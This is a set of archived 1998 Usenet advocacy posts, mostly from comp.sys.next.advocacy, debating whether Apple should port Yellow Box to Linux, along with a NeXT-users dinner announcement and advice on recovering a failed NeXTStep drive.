From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 11:57:39 +1100
Organization: OzEmail Ltd.
Message-ID: <766l4m$429$1@reader1.reader.news.ozemail.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net>
c hand wrote in message ...
>
>>Apple itself has chosen to compete in operating systems. That's Apple's
>>mistake and it will be Apple's downfall. If Apple had chosen to be a
software
>>tools vendor, which is where its best technologies and opportunities lie,
it
>>would have been a force to reckon with, and it would have had support from
>>the very people you now call competitors.
>If only they'd converted to Linux?
>
>Last I checked, there was no rule that said you can't be a tools vendor
>if you sell an OS. Apple seems to be positioning themselves to become
>a tools vendor for the two largest markets, Win* and Mac. In addition
>they are currently the number vendor for Enterprise application servers.
I think the problem is more like MS Office's equal support of all OSes.
Yes you can be in multiple markets. But when you place support for
your own semi-related market above the others then you don't make
friends IMO. Of course, Apple has no choice but to support Windows,
to give YB some market share - but that is also an "attack" of sorts on
MS. If it supported Linux then there would be a more united front.
I believe that's what he meant.... and it sounds pretty right to me.
Greg
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Pre-MacWorld get-together for ex-NeXTers
Date: 28 Dec 98 01:15:47 GMT
Organization: P & L Systems
Message-ID: <3686dbc3.0@stan.astra.co.uk>
Mime-Version: 1.0
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For any ex-NeXTers wanting to get together before MacWorld, Henry McGilton
has very kindly organised a table at Il Fornaio (*) for seven o'clock in the
evening, Sunday January 3rd.
If you'd like to come along, please let Henry know so we can sort out
numbers:
henry@trilithon.com
(*) Il Fornaio is "an upscale Italian" located at Levi's Plaza, 1265 Battery
Street San Francisco, at the corner of Battery [not Sansome] and Greenwich
Streets, right where Battery Street hits The Embarcadero.
Best wishes,
mmalc.
P.S. By way of public service, Henry notes that the weather around SF has
been particularly un-Californian recently, with temperatures as low as 7F.
MacWorld attendees may wish to consider packing more winter gear than they
might have anticipated -- Think Pink! :-)
Message-ID: <3686ED85.255995F1@nstar.net>
Date: Sun, 27 Dec 1998 20:31:33 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net>
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Arun Gupta wrote:
> "We are Linux. Resistance is futile. You will be assimilated."
"We are Apple. We piss in the wind. Our marketshare is under 3%. We're
better than you."
> I find it amazing that free-market advocates are moaning that Apple
> chooses to compete. I thought this is the cardinal virtue of the
> free-market.
No, creating wealth is the cardinal virtue of the free-market. I'm sorry
you misunderstood.
> I think many Linux "advocates" are merely Microsoft-wannabees.
They may very well be. I won't presume to speak for them the way you do.
MJP
From: mlw <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Sun, 27 Dec 1998 15:05:35 +0000
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36864CBF.A620E14F@mohawksoft.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net>
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Arun Gupta wrote:
>
> In article <763ppv$9aq$1@nnrp1.dejanews.com>, Michael.Peck@ericsson.com wrote:
>
> > It's Apple alone who has chosen to compete. As Yacktman's "Modest Proposal"
> > itself declares, Linux has not targeted Apple, but Apple will be a casualty in
> > Linux's progress nonetheless, if Apple doesn't learn to be a team player.
>
> "We are Linux. Resistance is futile. You will be assimilated."
>
> I find it amazing that free-market advocates are moaning that Apple
> chooses to compete. I thought this is the cardinal virtue of the
> free-market.
>
> I think many Linux "advocates" are merely Microsoft-wannabees.
>
> -arun gupta
I don't think you characterization of Linux people as merely
"Microsoft-wannabees" may be accurate. I love the idea of the iMac. Here
it is a simple computer for average people, that cuts in to Microsofts
control of the market. By slicing and dicing the market, vendors will be
forced to make more generic solution (Read no winmodems, more java,
beter software design). Also, having the iMac (or products like it)
leave the more sophisticated/demanding users open to Linux.
I see the iMac as a good thing for Linux. No company/environment should
dominate personal computing. When there is choice, there is opportunity.
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
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From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I have to switch to Windows--long time NeXt User
Date: 27 Dec 1998 15:26:17 GMT
Organization: AOL http://www.aol.com
References: <763rqd$aor$1@nnrp1.dejanews.com>
Message-ID: <19981227102617.00857.00002303@ng-fi1.aol.com>
I sympathise--it's pretty much the same sort of situation which I'm continually
working to avoid.
The one question I have here is have you considered sending your hard drive off
to one of the specialty data recovery shops?
It might get you up and running long enough to hold out for a better solution
(for which I'd suggest setting up an additional boot option into Linux with
GNUstep, WindowMaker, LyX, NeXTAW, TKStep, etc. installed)
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: no@spam.net (old one)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I have to switch to Windows--long time NeXt User
Date: Sun, 27 Dec 1998 10:46:46 -0500
Organization: hardly any
Message-ID: <no-2712981047280001@frazer.com>
References: <763rqd$aor$1@nnrp1.dejanews.com>
Sorry to hear of your disaster, but not entirely surprised.
Over the years I've lost 2 NeXTStep drives, and in each case
nothing I could do worked (fortunately, nothing critical was
lost in either case).
If you really need the files on your NS partition, I expect
a drive recovery firm can pull them off, but it will be
expensive. If you want to go this path, you should take the
drive out of the machine now lest you do any more damage to
the file system. A recovery firm can then mount the drive as
a raw device, record an image of whatever's there, rebuild
as many directories as possible and then recover the files
and fragments (at least in principal).
As for future alternatives, I think you are right to exclude
XXXXStep/Rhapsody and Linux. You will feel more at home with
a Mac IMHO (I use all the candidates), but may find it harder
to get admin support.
Barney
If you want to email me, try jbf at frazer dot com.
From: "Osvaldo Pinali Doederlein" <osvaldo@visionnaire.com.br>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: Sun, 27 Dec 1998 12:50:32 +0100
Organization: Ecole des Mines de Nantes
Message-ID: <76573e$1fk$1@wfn.emn.fr>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com> <87lnjxxx50.fsf@altair.mayn.de> <36834ab4$0$9741@nntp1.ba.best.com> <761pkh$f5a$3@winter.news.rcn.net> <3689ec37.17422763@nntp.ix.netcom.com>
John Sheehy <jsheehy@ix.netcom.com> wrote in message
news:3689ec37.17422763@nntp.ix.netcom.com...
>clee2@envirolink.org (Chris Lee) wrote:
>>Is that why Windows 98/NT 4.0 requires a Pent II processor in order to run
>>software at the same speeds Win 3.11 ran software at on a 486, Boris?
>No, the reason for the existence of that phenomenon is that you
>fabricated it.
Correct.
WinNT/98 do not need a PII to run the software I remember using in my Win311
days, like Microsoft Word 2.0, Corel Draw! 3.0, Visual C++ 1.5, Netscape 2,
etc. (I cannot name any action game; everything was for DOS.)
Win3.11 would need a PII to run today's softwares, even if they were
compatible with Win3.
Finally, people using sophisms are always vicious. :)
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 18:37:11 -0800
Organization: Archimedes Plutonium Grepping Society
Message-ID: <766qsn$725$1@52-a-usw.rb1.blv.nwnexus.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <7665hu$r91$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2712981321400001@1cust107.tnt1.redmond.wa.da.uu.net>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>Why not answer the rest of his post, instead of cutting it out? Did he say
>>things you couldn't answer, or what?
>>
>
>And the point of that would be what?
The point would be to avoid making yourself look intellectually dishonorable.
--Tim Smith
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 16:58:34 GMT
Organization: Primenet (602)416-7000
Message-ID: <765ovq$cp0$1@nnrp03.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net>
<ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com>
<suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net>
Arun Gupta <suvidya@tendlrow.tta.ten.mirror_after_at> wrote:
: "We are Linux. Resistance is futile. You will be assimilated."
: I find it amazing that free-market advocates are moaning that Apple
: chooses to compete. I thought this is the cardinal virtue of the
: free-market.
: I think many Linux "advocates" are merely Microsoft-wannabees.
When I first read your post, I didn't get it at all. How could Linux be
like Microsoft? Linux has no center - it instead has diversity. The two
are totally different. There is no question of following the Linux plan
because there is no single plan. There are too many. Chose one, and
follow it if you want. Or make your own.
Maybe that's the key:
When you yield to Microsoft you yield to the machine.
When you yield to Linux you yield to the jungle.
You know my vote ... plant a tree ... but it's totally up to you. Linux
has no power to assimilate. Given a little ground it does tend to grow
;-).
John
Message-ID: <3686F661.E687BFC4@nstar.net>
Date: Sun, 27 Dec 1998 21:09:21 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <7665hu$r91$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2712981321400001@1cust107.tnt1.redmond.wa.da.uu.net>
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c hand wrote:
>
> >Why not answer the rest of his post, instead of cutting it out? Did he say
> >things you couldn't answer, or what?
> >
>
> And the point of that would be what? You could say your car is faster
> than my car?
>
> a) that wasn't the point I was making
> b) it would only lead to a your toy vs. my toy argument
> c) I don't need to argue the merits of BSD or Linux, since NeXT/Apple
> already chose BSD
> d) it's as stupid as the Macs vs. PCs, PowerPC vs. Intel arguments
>
> If it gives you some satisfaction, go right ahead. But be sure to note
> that it brings you no closer to a business case for YB/Linux.
Who was it that asked:
> Why Linux?
Now we have shifting goal posts:
> a) that wasn't the point I was making
What was the point you were making?
MJP
From: "Bob Powers" <bob@powerstech.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: 27 Dec 1998 17:25:34 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <01be31bd$89528860$0206eecc@host2>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu> <75s9ja$l41$1@nnrp1.dejanews.com> <kWEg2.1043$fM1.31766@ptah.visi.com> <763rm5$anu$1@nnrp1.dejanews.com>
r.e.ballard@usa.net wrote in article <763rm5$anu$1@nnrp1.dejanews.com>...
>
> Ironically, UNIX didn't have the storage problems, the security holes,
and
> the clients could dynamically build "indices". Furthermore, with NNTP
and
> SMTP and POP3 deamons, Linux comes with the best features. Linux has
added
> encryption and chat (IRCII) to enable better "groupware" functions than
> Notes ever had.
>
> It's ironic that "GroupWare", "Intranet", and "Extranet" were all
initially
> code-words for Open-source software on UNIX or Linux servers and/or
clients.
>
> --
> Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
> http://www.open4success.com
Rex, could you elaborate on the addition of encryption and chat in Linux
to enable better 'groupware' functions? I'm not asking this from an
adversarial point of view, but rather from a philosophical and functional
point of view. What aspects of Linux encryption and chat were you
referring to?
-Bob
Message-ID: <3686F68B.79B4E731@nstar.net>
Date: Sun, 27 Dec 1998 21:10:03 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> <36867be6.0@stan.astra.co.uk> <7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2712981331200001@1cust79.tnt6.redmond.wa.da.uu.net>
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c hand wrote:
[cut]
> Why is it that every armchair CEO thinks that Apple has no plan in place
> already for what markets, what timeframe, what technologies what platform,
> etc. they will pursue?
You would do well to ask *yourself* that question.
[cut]
MJP
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu> <75s9ja$l41$1@nnrp1.dejanews.com> <kWEg2.1043$fM1.31766@ptah.visi.com> <763rm5$anu$1@nnrp1.dejanews.com>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <ENCh2.1404$fM1.40415@ptah.visi.com>
Date: Mon, 28 Dec 1998 03:20:04 GMT
NNTP-Posting-Date: Sun, 27 Dec 1998 21:20:04 CDT
r.e.ballard@usa.net writes:
>The Notes "Database" was merely a means of wrapping up the various
>messages into a single, large file, and provide index and view
>summaries of those documents.
>I have helped "rescue" a couple of projects where someone tried to use
>Lotus Notes like a relational database (which does horrible things to
>performance).
I didn't want to be insulting and call it "lightweight"- but it
certainly isn't in the "heavyweight" category of Oracle et. al. Thus
the middleweight term. The one notes programmer I've actually talked to
about her job made me think that the Notes database filled the same
"niche" as a proper SQL DB and a front end language (Java, VB,
Powerbuiler, Perl/TK, etc). The advantage I saw was less technical (you
get your mail server, mail reader, DB, and DB front-end all as one
package) and more marketing (once you've paid for the email
server/readers, you get the DB/front-end for "free").
A large reason Unix has never developed this is that the parts are
seperated- which mail server (sendmail, smail, qmail, etc) you use
doesn't force you choice of mail reader (pine, elm, netscape), let alone
your choice of DB or DB front-end language. This allows you to mix and
match the peices to fit the problem at hand (and to replace peices as
needed).
If it was another company, it'd be called bundling. I still think it's
a bad idea for the customer.
Brian
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 98 18:54:46 GMT
Organization: P & L Systems
Message-ID: <36868276.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net>
<36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: Michael.Peck@ericsson.com
In <75u8ln$75u$1@nnrp1.dejanews.com> Michael.Peck@ericsson.com wrote:
> In article <36817c66.0@stan.astra.co.uk>,
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > And of such stuff is debates made. So...?
>
> No, mmalcolm. Of such stuff pointless fights are made. You've insisted on
> reducing what could be open discussion to raw skepticism and "prove it to
me"
> debate tactics.
>
Umm, I think it's clear that this has not been my intent at all.
My perspective is that we've got past the "Yes this is a good idea in
principle" stage to the practicalities, and now we're having an open debate
about those.
We could have any number of exchanges along the lines of:
"I think YB/Linux is a great idea"
"I'm an ex-NeXT user, and I think so too."
"Hey, I'm a Linux user, and I think YB/Linux would be neat as well."
however sadly it wouldn't achieve very much, other than perhaps constituting
some sort of rather heart-warmingly seasonal 'Net hug.
> The problem is that once someone has so turned off their mind
> to an idea, all that can be left is frustration and outrage on both sides.
> You've obviously made up your mind before consideration can be made.
>
Again I'm left trying to understand how you arrive at this.
I presume you're now accepting that I am in favour of YB/Linux in principle,
and now you're suggesting I have a closed mind to the business case? Despite
the fact that I've been trying to put forward suggestions and explore
options?
> > I really don't see your point about "refuges".
>
> Then let me make it painfully clear, mmalcolm, at the risk of offending
> overmuch. You have plainly abdicated all semblance of reasonable discussion
> on the subject, yet persist in posting. Rather than simply saying, "There's
> too much uncertainty, I won't even consider the idea," which would at least
> admit the propriety of third-party discussion, you can't seem to quit your
> fervent *denial* of the Linux-YB notion.
>
This is a distasteful misrepresentation of my views.
Allow me to make it painfully clear, Michael: I would love to see YB on
Linux.
> Like Sal Denaro, you've got a clear
> mindset that won't admit argument and you'll post whatever's most
convenient
> to get that point across.
>
What is becoming unpleasantly repetitive is your tactic of "restating" an
opponent's views in a way that in fact bears little relation to the substance
of their argument, and then taking issue with that fabricated strawman. That
does less than anything to further the debate.
> It remains a valid point that *YOU* don't see the business case? Valid,
> perhaps, but hardly significant.
>
Indeed; what is *significant* is that no-one else has managed to propose a
business case.
> Instead, it is frank argument versus staunch opinion, which has
> thus far yielded little profitable debate. Would you agree?
>
No, cf my point above about misrepresentation of my perspective.
> > -- indeed it's probably about the only
> > metric by which the subject should be measured, since it's presumably the
one
> > Apple will use to decide if the project would be worthwhile or not.
>
> Metric? How laughable. I would love to know how you could possibly put such
a
> metric to use.
>
As a YB developer I would forward the business case to the relevant folks at
Apple to say "Here's a great idea for both of us making more money."
> Of all people in this forum, I went to the trouble of actually
> discussing the aspects of such a business case in some detail when I last
> butted heads with Chuck Swiger.
>
OK, I clearly missed that, then: instead of wasting time on diatribes, then,
why don't you repost some of them and allow the debate to continue.
> And you? What do you know of this "metric"?
>
Umm, it's standard business practice. You do something to make money. Or to
have a side effect which will make money. If you don't make money, you go
out of business.
If there isn't a way that Apple can make money from YB/<whatever platform>
then there isn't a good reason for doing it.
> Where have you posted *anything*
> about the "business case" except that "you don't see it", over and over
again?
>
I post it over and over since no-one seems to be coming back with anything
other than some sort of religious mantra that YB/Linux would be good.
I want to move past that stage and find some way that Apple could make money
from this so that there's a chance it could become a reality. So how about
you coming up with a constructive suggestion?
> Please, you betray yourself, mmalcolm. And you insult me.
>
Uh-huh.
> > Even without intimate knowledge of Apple's finances it's readily possible
to
> > see where money might be made, and no-one has yet presented a case for
> > YB/Linux which looks set to make Apple a profit. Well, except that I
helped
> > Tai by suggesting that a port of WebObjects might be a reasonable
starting
> > point if anything would be.
>
> Starting point? What? WebObjects is *based* on YB. If you ported WebObjects
> you'd have to port YB *first*.
>
??!! Not at all.
> At least, I assumed so because that's the justification Colin Hand is
> continually using to prop up the existence and longevity of YB itself.
>
I think you need to do a little more thinking. Hint: WebObjects runs on
Solaris and HP-UX, but YB is not ported to either.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 98 19:25:26 GMT
Organization: P & L Systems
Message-ID: <368689a6.0@stan.astra.co.uk>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com>
<3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net>
<368209cf.0@stan.astra.co.uk> <75ua59$88j$1@nnrp1.dejanews.com>
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Cc: Michael.Peck@ericsson.com
In <75ua59$88j$1@nnrp1.dejanews.com> Michael.Peck@ericsson.com wrote:
> In article <368209cf.0@stan.astra.co.uk>,
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > I'm surprised that you are willing to post such a barefaced faslehood.
> > The case is quite the opposite: NeXT dropped the hardware to *sell* an
> > *operating system* to run on a number of hardware platforms.
>
> I'm a liar, and then you tell me that OPENSTEP didn't run atop Windows NT?
Do
> I really have to bow my head to such filth from you, mmalcolm? Honestly,
> you've gone too far.
>
You have acknowledged part of your error in your followup; the other aspect
which you have not noted is the context: you stated:
> It's especially poignant that in 1993 NeXT dropped its hardware, pursued
> cross-platforms notions, and sold the very ideas you now fight.
>
The idea I am "fighting" is the one promulgated by others in this debate,
that Apple should port YB to Linux and *give it away*. This is clearly *not*
what NeXT did, since they *sold* the runtimes for NT.
You're also guilty of equivocation in the use of "cross-platform", since the
"cross-platform" notion NeXT had in 1993 (i.e. an OS to run on several
*hardware* platforms) is rather different to the 1996 notion (an API to run
on several *software* platforms).
> And I should like to ask when I suggested that Apple *must* give away
> runtimes? Think back, mmalcolm, to...December 9. Erik Buck posted a
proposal
> which involved 3rd party funding (including his own) to spur a Linux port
of
> YB. Did you happen to read my reply?
>
Possibly, it was a long time ago -- I certainly don't remember it.
> <quote>
> > I will be customer #1. I would pay as much as
> > OPENSTEP for Windows NT costs.
> </quote>
>
Great.
> > Now there's another clue for those that want YB/Linux: if you want to
make a
> > sound business case, i.e. one which will earn Apple money, suggest a
runtime
> > fee. But then I recall so many people saying that Linux folks won't pay
for
> > software...
>
> Well, I guess I'm not a "Linux folks", am I, then? What am I? You,
apparently,
> know the answer to that quite assuredly.
>
Not at all, which is why I wrote "But then I recall *so many people* saying
that Linux folks won't pay for software" rather than "I recall *you*
saying..."
> > Set against this, of course, is the fact that Apple will be making the
> > runtimes for Windows free.
>
> I was wondering about that. So, here I am, I'm setting that against your
> arguments, and I can't come up with any reasonable conclusions about your
> logic. Would you care to fill in the blanks?
>
I implied the answer in the subsequent paragraph...
Apple is losing *commercial* developers to Windows. Commercial MacOS
developers need a reason to stick with the Apple platform. By offering
YB/Windows Apple has a chance of retaining those developers. Further
YB/Windows can be seen as a marketing tool to show existing entrenched
Windows users that it has useful technology to offer.
> Except, of course, where Apple *cannot* sell MacOS X because people won't
buy
> it. But this is what you dare not contemplate, and thus the reason you
cannot
> accept YB for Linux.
>
Please, this misrepresentation of my views has become offensive...
> Somehow you have set up Linux and MacOS X as competitors
> where Windows NT and MacOS X are not. I'm mystified by that distinction.
>
I'm mystified by how you reach that conclusion.
Windows NT and MacOS X *are* competitors.
> I see every reason for Apple to port YB to Linux,
>
Go on then, enlighten me.
> and every reason to believe that Apple would be justly compensated for its
> (minimal) effort. The fact that it escapes you mystifies me.
>
It does not escape me: I have made it perfectly clear that I am arguing with
those who suggest that Apple release YB/Linux for *free*. If as you say you
are willing to *pay* for it, then that is an entirely different matter, and I
agree with you completely. Now go and convince the other Linux folks that
they should pay for the software.
In your answer, please also show how Linux folks will be convinced to use a
"black box" solution, given your assertion:
---
Subject: Re: "One thing that looks definite is....Mac OS X Server in
January..."
From: michael.peck@ericsson.com (Michael Peck)
Date: Tue, 15 Dec 1998 13:55:06 -0600
> NO.
> Either the source needs to be free or the specification needs to be.
I will affirm this. The Linux community will not accept "black box"
solutions.
---
> > And as if ex-NeXT folk haven't had enough new visions to embrace simply
with
> > the Apple acquisition.
>
> Oh, dear. You truly flatter yourself too much. I should say rather that
MacOS
> people have had to put up with the NeXTers, than the other way 'round.
>
Did I say anything about "putting up with"? I'm quite sure that the MacOS
folks have had quite enough new visions to embrace as well. The question is,
how do you respond to them? I made my views clear a long time ago:
http://www.stepwise.com/Articles/Editorial/Fusion.html
> > Oh, I see. MJP has run out of arguments and so just wants to start
another
> > ad hominem tirade. Sorry, I'm not going to play that game.
>
> It's better that you don't. I'm playing the DejaNews prophet at this point,
> which is your signal to turn tail and do exactly as I proposed. I've great
> confidence that you will, indeed. Someday it will make wonderful party talk
to
> say that I predicted the Apple-NeXT demise because of its acolytes' folly,
and
> it will be of great satisfaction to have DejaNews to back me up.
>
You used to be so much more interesting when you didn't turn everything into
some sort of (anti-)personal crusade.
mmalc.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 18:56:25 GMT
Organization: Primenet (602)416-7000
Message-ID: <765vsp$f2v$1@nnrp03.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com>
<ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <36864CBF.A620E14F@mohawksoft.com> <765tav$lgp@bgtnsc03.worldnet.att.net>
Daniel Johnson <daniel.n.johnson@worldnet.att.net> wrote:
: mlw wrote in message <36864CBF.A620E14F@mohawksoft.com>...
: >I don't think you characterization of Linux people as merely
: >"Microsoft-wannabees" may be accurate. I love the idea of the iMac. Here
: >it is a simple computer for average people, that cuts in to Microsofts
: >control of the market.
: You do realize that not many people feel that *merely* cutting into
: MS's marketshare is particularly desirable. I mean, if Bill Gates took
: over Apple, and turned it against MS, and took over the world with a
: multi-colored logo instead of plain 'ole blue... who would notice the
: difference?
Indeed. How different is Apple now, given their brush with Microsoft?
The war is over. 250 million changes hands. Apple starts promoting
Office on their website and announces that IE will be the default browser.
Where does that leave Apple? Are they like that character "Seven" from
TV, left with little more than a breast enlargement and an identity
crisis?
: I realize the Linux folks have something different in mind. But
: when you say "no MS!" you aren't really expressing any alternative
: vision.
